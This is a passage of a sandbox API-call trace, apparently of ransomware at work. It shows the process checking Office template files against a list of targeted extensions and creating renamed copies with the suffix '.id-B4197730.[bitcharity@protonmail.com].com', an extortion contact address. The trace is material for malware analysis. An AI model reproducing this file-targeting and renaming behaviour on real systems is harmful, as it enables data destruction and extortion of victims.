Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.875] lstrlenW (lpString=".zip") returned 4 [0273.875] lstrcmpiW (lpString1=".zip", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString=".rar") returned 4 [0273.875] lstrcmpiW (lpString1=".rar", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString=".bz2") returned 4 [0273.875] lstrcmpiW (lpString1=".bz2", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString=".7z") returned 3 [0273.875] lstrcmpiW (lpString1=".7z", lpString2="otx") returned -1 [0273.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.875] lstrlenW (lpString=".dbf") returned 4 [0273.875] lstrcmpiW (lpString1=".dbf", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.875] lstrlenW (lpString=".1cd") returned 4 [0273.875] lstrcmpiW (lpString1=".1cd", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.875] lstrlenW (lpString=".jpg") returned 4 [0273.875] lstrcmpiW (lpString1=".jpg", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.875] lstrlenW (lpString=".doc") returned 4 [0273.875] lstrcmpiW (lpString1=".doc", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString=".docx") returned 5 [0273.875] lstrcmpiW (lpString1=".docx", lpString2=".dotx") returned -1 [0273.875] lstrlenW (lpString=".pdf") returned 4 [0273.876] lstrcmpiW (lpString1=".pdf", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString=".xls") returned 4 [0273.876] lstrcmpiW (lpString1=".xls", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString=".xlsx") returned 5 [0273.876] lstrcmpiW (lpString1=".xlsx", lpString2=".dotx") returned 1 [0273.876] lstrlenW (lpString=".ppt") returned 4 [0273.876] lstrcmpiW (lpString1=".ppt", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.876] lstrlenW (lpString=".zip") returned 4 [0273.876] lstrcmpiW (lpString1=".zip", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString=".rar") returned 4 [0273.876] lstrcmpiW (lpString1=".rar", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString=".bz2") returned 4 [0273.876] lstrcmpiW (lpString1=".bz2", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString=".7z") returned 3 [0273.876] lstrcmpiW (lpString1=".7z", lpString2="otx") returned -1 [0273.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.876] lstrlenW (lpString=".dbf") returned 4 [0273.876] lstrcmpiW (lpString1=".dbf", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.876] lstrlenW (lpString=".1cd") returned 4 [0273.876] lstrcmpiW (lpString1=".1cd", lpString2="dotx") returned -1 [0273.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.876] lstrlenW (lpString=".jpg") returned 4 [0273.876] lstrcmpiW (lpString1=".jpg", lpString2="dotx") returned -1 [0273.876] lstrcmpiW (lpString1=".XLT", lpString2=".com") returned 1 [0273.876] lstrlenW (lpString="ADR1.XLT") returned 8 [0273.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.877] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=30720) returned 1 [0273.877] CloseHandle (hObject=0x1288) returned 1 [0273.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt")) returned 0x220 [0273.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0273.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.878] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.878] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.878] CloseHandle (hObject=0x1288) returned 1 [0273.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.878] lstrlenW (lpString=".doc") returned 4 [0273.878] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.878] lstrlenW (lpString=".docx") returned 5 [0273.878] lstrcmpiW (lpString1=".docx", lpString2="1.XLT") returned -1 [0273.878] lstrlenW (lpString=".pdf") returned 4 [0273.878] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.878] lstrlenW (lpString=".xls") returned 4 [0273.878] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.878] lstrlenW (lpString=".xlsx") returned 5 [0273.878] lstrcmpiW (lpString1=".xlsx", lpString2="1.XLT") returned -1 [0273.878] lstrlenW (lpString=".ppt") returned 4 [0273.878] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.878] lstrlenW (lpString=".zip") returned 4 [0273.878] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.878] lstrlenW (lpString=".rar") returned 4 [0273.878] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.878] lstrlenW (lpString=".bz2") returned 4 [0273.879] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString=".7z") returned 3 [0273.879] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.879] lstrlenW (lpString=".dbf") returned 4 [0273.879] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.879] lstrlenW (lpString=".1cd") returned 4 [0273.879] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.879] lstrlenW (lpString=".jpg") returned 4 [0273.879] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.879] lstrlenW (lpString=".doc") returned 4 [0273.879] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString=".docx") returned 5 [0273.879] lstrcmpiW (lpString1=".docx", lpString2="1.XLT") returned -1 [0273.879] lstrlenW (lpString=".pdf") returned 4 [0273.879] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString=".xls") returned 4 [0273.879] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString=".xlsx") returned 5 [0273.879] lstrcmpiW (lpString1=".xlsx", lpString2="1.XLT") returned -1 [0273.879] lstrlenW (lpString=".ppt") returned 4 [0273.879] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.879] lstrlenW (lpString=".zip") returned 4 [0273.879] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.879] lstrlenW (lpString=".rar") returned 4 [0273.879] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.879] lstrlenW (lpString=".bz2") returned 4 [0273.879] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.880] lstrlenW (lpString=".7z") returned 3 [0273.880] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.880] lstrlenW (lpString=".dbf") returned 4 [0273.880] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.880] lstrlenW (lpString=".1cd") returned 4 [0273.880] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 62 [0273.880] lstrlenW (lpString=".jpg") returned 4 [0273.880] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.880] lstrcmpiW (lpString1=".XLT", lpString2=".com") returned 1 [0273.880] lstrlenW (lpString="ADR10.XLT") returned 9 [0273.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.880] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=28160) returned 1 [0273.880] CloseHandle (hObject=0x1288) returned 1 [0273.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt")) returned 0x220 [0273.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0273.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.881] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.881] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.881] CloseHandle (hObject=0x1288) returned 1 [0273.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.881] lstrlenW (lpString=".doc") returned 4 [0273.881] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.881] lstrlenW (lpString=".docx") returned 5 [0273.881] lstrcmpiW (lpString1=".docx", lpString2="0.XLT") returned -1 [0273.882] lstrlenW (lpString=".pdf") returned 4 [0273.882] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString=".xls") returned 4 [0273.882] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString=".xlsx") returned 5 [0273.882] lstrcmpiW (lpString1=".xlsx", lpString2="0.XLT") returned -1 [0273.882] lstrlenW (lpString=".ppt") returned 4 [0273.882] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.882] lstrlenW (lpString=".zip") returned 4 [0273.882] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.882] lstrlenW (lpString=".rar") returned 4 [0273.882] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString=".bz2") returned 4 [0273.882] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString=".7z") returned 3 [0273.882] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.882] lstrlenW (lpString=".dbf") returned 4 [0273.882] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.882] lstrlenW (lpString=".1cd") returned 4 [0273.882] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.882] lstrlenW (lpString=".jpg") returned 4 [0273.882] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.882] lstrlenW (lpString=".doc") returned 4 [0273.882] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.882] lstrlenW (lpString=".docx") returned 5 [0273.882] lstrcmpiW (lpString1=".docx", lpString2="0.XLT") returned -1 [0273.882] lstrlenW (lpString=".pdf") returned 4 [0273.882] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.883] lstrlenW (lpString=".xls") returned 4 [0273.883] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.883] lstrlenW (lpString=".xlsx") returned 5 [0273.883] lstrcmpiW (lpString1=".xlsx", lpString2="0.XLT") returned -1 [0273.883] lstrlenW (lpString=".ppt") returned 4 [0273.883] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.883] lstrlenW (lpString=".zip") returned 4 [0273.883] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.883] lstrlenW (lpString=".rar") returned 4 [0273.883] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.883] lstrlenW (lpString=".bz2") returned 4 [0273.883] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.883] lstrlenW (lpString=".7z") returned 3 [0273.883] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.883] lstrlenW (lpString=".dbf") returned 4 [0273.883] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.883] lstrlenW (lpString=".1cd") returned 4 [0273.883] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT") returned 63 [0273.883] lstrlenW (lpString=".jpg") returned 4 [0273.883] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.883] lstrcmpiW (lpString1=".XLT", lpString2=".com") returned 1 [0273.883] lstrlenW (lpString="ADR2.XLT") returned 8 [0273.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.884] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=29184) returned 1 [0273.884] CloseHandle (hObject=0x1288) returned 1 [0273.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt")) returned 0x220 [0273.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0273.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.884] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.884] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.884] CloseHandle (hObject=0x1288) returned 1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString=".doc") returned 4 [0273.885] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString=".docx") returned 5 [0273.885] lstrcmpiW (lpString1=".docx", lpString2="2.XLT") returned -1 [0273.885] lstrlenW (lpString=".pdf") returned 4 [0273.885] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString=".xls") returned 4 [0273.885] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString=".xlsx") returned 5 [0273.885] lstrcmpiW (lpString1=".xlsx", lpString2="2.XLT") returned -1 [0273.885] lstrlenW (lpString=".ppt") returned 4 [0273.885] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString=".zip") returned 4 [0273.885] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.885] lstrlenW (lpString=".rar") returned 4 [0273.885] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString=".bz2") returned 4 [0273.885] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString=".7z") returned 3 [0273.885] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString=".dbf") returned 4 [0273.885] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString=".1cd") returned 4 [0273.885] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString=".jpg") returned 4 [0273.885] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.885] lstrlenW (lpString=".doc") returned 4 [0273.885] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.885] lstrlenW (lpString=".docx") returned 5 [0273.886] lstrcmpiW (lpString1=".docx", lpString2="2.XLT") returned -1 [0273.886] lstrlenW (lpString=".pdf") returned 4 [0273.886] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.886] lstrlenW (lpString=".xls") returned 4 [0273.886] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.886] lstrlenW (lpString=".xlsx") returned 5 [0273.886] lstrcmpiW (lpString1=".xlsx", lpString2="2.XLT") returned -1 [0273.886] lstrlenW (lpString=".ppt") returned 4 [0273.886] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.886] lstrlenW (lpString=".zip") returned 4 [0273.886] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.886] lstrlenW (lpString=".rar") returned 4 [0273.886] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.886] lstrlenW (lpString=".bz2") returned 4 [0273.886] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.886] lstrlenW (lpString=".7z") returned 3 [0273.886] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.886] lstrlenW (lpString=".dbf") returned 4 [0273.886] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.886] lstrlenW (lpString=".1cd") returned 4 [0273.886] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 62 [0273.886] lstrlenW (lpString=".jpg") returned 4 [0273.886] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.886] lstrcmpiW (lpString1=".XLT", lpString2=".com") returned 1 [0273.886] lstrlenW (lpString="ADR3.XLT") returned 8 [0273.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.888] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=30720) returned 1 [0273.888] CloseHandle (hObject=0x1288) returned 1 [0273.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt")) returned 0x220 [0273.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0273.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.888] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.888] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.889] CloseHandle (hObject=0x1288) returned 1 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.889] lstrlenW (lpString=".doc") returned 4 [0273.889] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.889] lstrlenW (lpString=".docx") returned 5 [0273.889] lstrcmpiW (lpString1=".docx", lpString2="3.XLT") returned -1 [0273.889] lstrlenW (lpString=".pdf") returned 4 [0273.889] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.889] lstrlenW (lpString=".xls") returned 4 [0273.889] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.889] lstrlenW (lpString=".xlsx") returned 5 [0273.889] lstrcmpiW (lpString1=".xlsx", lpString2="3.XLT") returned -1 [0273.889] lstrlenW (lpString=".ppt") returned 4 [0273.889] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 